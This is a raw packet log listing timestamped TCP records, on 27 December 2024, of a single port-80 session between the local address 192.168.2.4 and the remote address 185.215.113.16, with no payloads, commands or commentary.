Dec 27, 2024 08:45:18.129024982 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.131910086 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.131958008 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.132015944 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.134989977 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.135092020 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.135135889 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.137828112 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.137885094 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.137964964 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.140788078 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.140850067 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.140885115 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.143775940 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.143824100 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.143867970 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.146724939 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.146770000 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.146833897 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.149682999 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.149739027 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.149863005 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.152733088 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.152780056 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.152782917 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.155622959 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.155666113 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.155738115 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.158595085 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.158638000 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.158691883 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.161592960 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.161633968 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.161679983 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.164563894 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.164618969 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.164669991 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.167525053 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.167576075 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.167627096 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.170514107 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.170562029 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.170624018 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.173455954 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.173496962 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.173593044 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.176415920 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.176460028 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.176502943 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.179379940 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.179430962 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.179486036 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.182353020 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.182394028 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.182435036 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.185311079 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.185357094 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.185441971 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.188298941 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.188342094 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.188380003 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.191303968 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.191344976 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.191350937 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.194242954 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.194292068 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.194351912 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.197192907 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.197237015 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.197307110 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.200187922 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.200236082 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.200237036 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.203124046 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.203175068 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.203203917 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.256728888 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.261787891 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.261853933 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.262003899 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.262877941 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.263319016 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.263380051 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.263433933 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.265582085 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.265630007 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.265669107 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.267810106 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.267864943 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.267916918 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.270071030 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.270082951 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.270129919 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.272203922 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.272249937 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.272311926 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.274388075 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.274437904 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.274456024 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.276498079 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.276550055 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.276568890 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.278628111 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.278681993 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.278712988 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.280673027 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.280723095 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.280754089 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.282682896 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.282727957 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.282789946 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.284725904 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.284769058 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.284796953 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.286715031 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.286760092 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.286853075 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.288696051 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.288747072 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.288799047 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.290685892 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.290734053 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.290755033 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.292618990 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.292665005 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.292697906 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.294544935 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.294589043 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.294598103 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.296480894 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.296526909 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.296622038 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.298368931 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.298415899 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.298471928 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.300266027 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.300319910 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.300359011 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.302133083 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.302174091 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.302242994 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.303961992 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.304008961 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.304074049 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.305828094 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.305871964 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.305922985 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.307682037 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.307729006 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.307743073 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.309449911 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.309503078 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.309565067 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.311261892 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.311300993 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.311320066 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.313106060 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.313169003 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.313208103 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.314169884 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.314219952 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.314260960 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.315254927 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.315304041 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.315359116 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.316306114 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.316349983 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.316426039 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.317375898 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.317430019 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.317481995 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.318411112 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.318459034 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.318486929 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.319458008 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.319506884 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.319538116 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.320580006 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.320625067 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.320653915 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.321584940 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.321635008 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.321697950 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.322671890 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.322722912 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.322750092 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.323689938 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.323754072 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.323791027 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.324760914 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.324811935 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.324862003 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.325792074 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.325845003 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.325880051 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.326828003 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.326878071 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.327020884 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.327900887 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.327967882 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.327991962 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.328931093 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.328984022 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.329044104 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.329981089 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.330024958 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.330101967 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.331017971 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.331067085 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.331134081 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.332070112 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.332118988 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.332180023 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.333153963 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.333204031 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.333245039 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.334249020 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.334297895 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.334460020 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.335210085 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.335268021 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.335333109 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.336265087 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.336325884 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.336328983 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.337356091 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.337408066 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.337460041 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.381490946 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.463135958 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.463237047 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.463351011 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.463568926 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.463742018 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.463788986 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.464519024 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.464643002 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.464689016 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.465446949 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.465590954 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.465634108 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.466366053 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.466523886 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.466572046 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.467339039 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.467462063 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.467528105 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.468277931 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.468384981 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.468425989 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.469175100 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.469264984 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.469305038 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.470076084 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.470216036 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.470264912 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.471005917 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.471117020 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.471165895 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.471985102 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.472042084 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.472086906 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.472901106 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.473009109 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.473047018 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.473809958 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.473933935 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.473974943 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.474760056 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.474895954 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.474931955 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.475712061 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.475841999 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.475884914 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.476639032 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.476761103 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.476800919 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.477538109 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.477655888 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.477696896 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.478492022 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.478612900 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.478653908 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.479413033 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.479521036 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.479562998 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.480315924 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.480437040 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.480482101 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.481296062 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.481405973 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.481479883 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.482208967 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.482305050 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.482350111 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.483151913 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.483259916 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.483297110 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.484095097 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.484205961 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.484256983 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.484985113 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.485094070 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.485136986 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.485902071 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.486013889 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.486052990 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.486843109 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.487010002 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.487061977 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.487818956 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.487927914 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.488009930 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.488691092 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.488811970 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.488852978 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.489664078 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.489727974 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.489768028 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.490555048 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.490664959 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.490705967 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.491485119 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.491610050 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.491652012 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.492415905 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.492486954 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.492541075 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.493402958 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.493474960 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.493518114 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.494313002 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.494487047 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.494535923 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.495210886 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.495317936 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.495358944 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.496166945 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.496272087 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.496306896 CET	49744	80	192.168.2.4	185.215.113.16
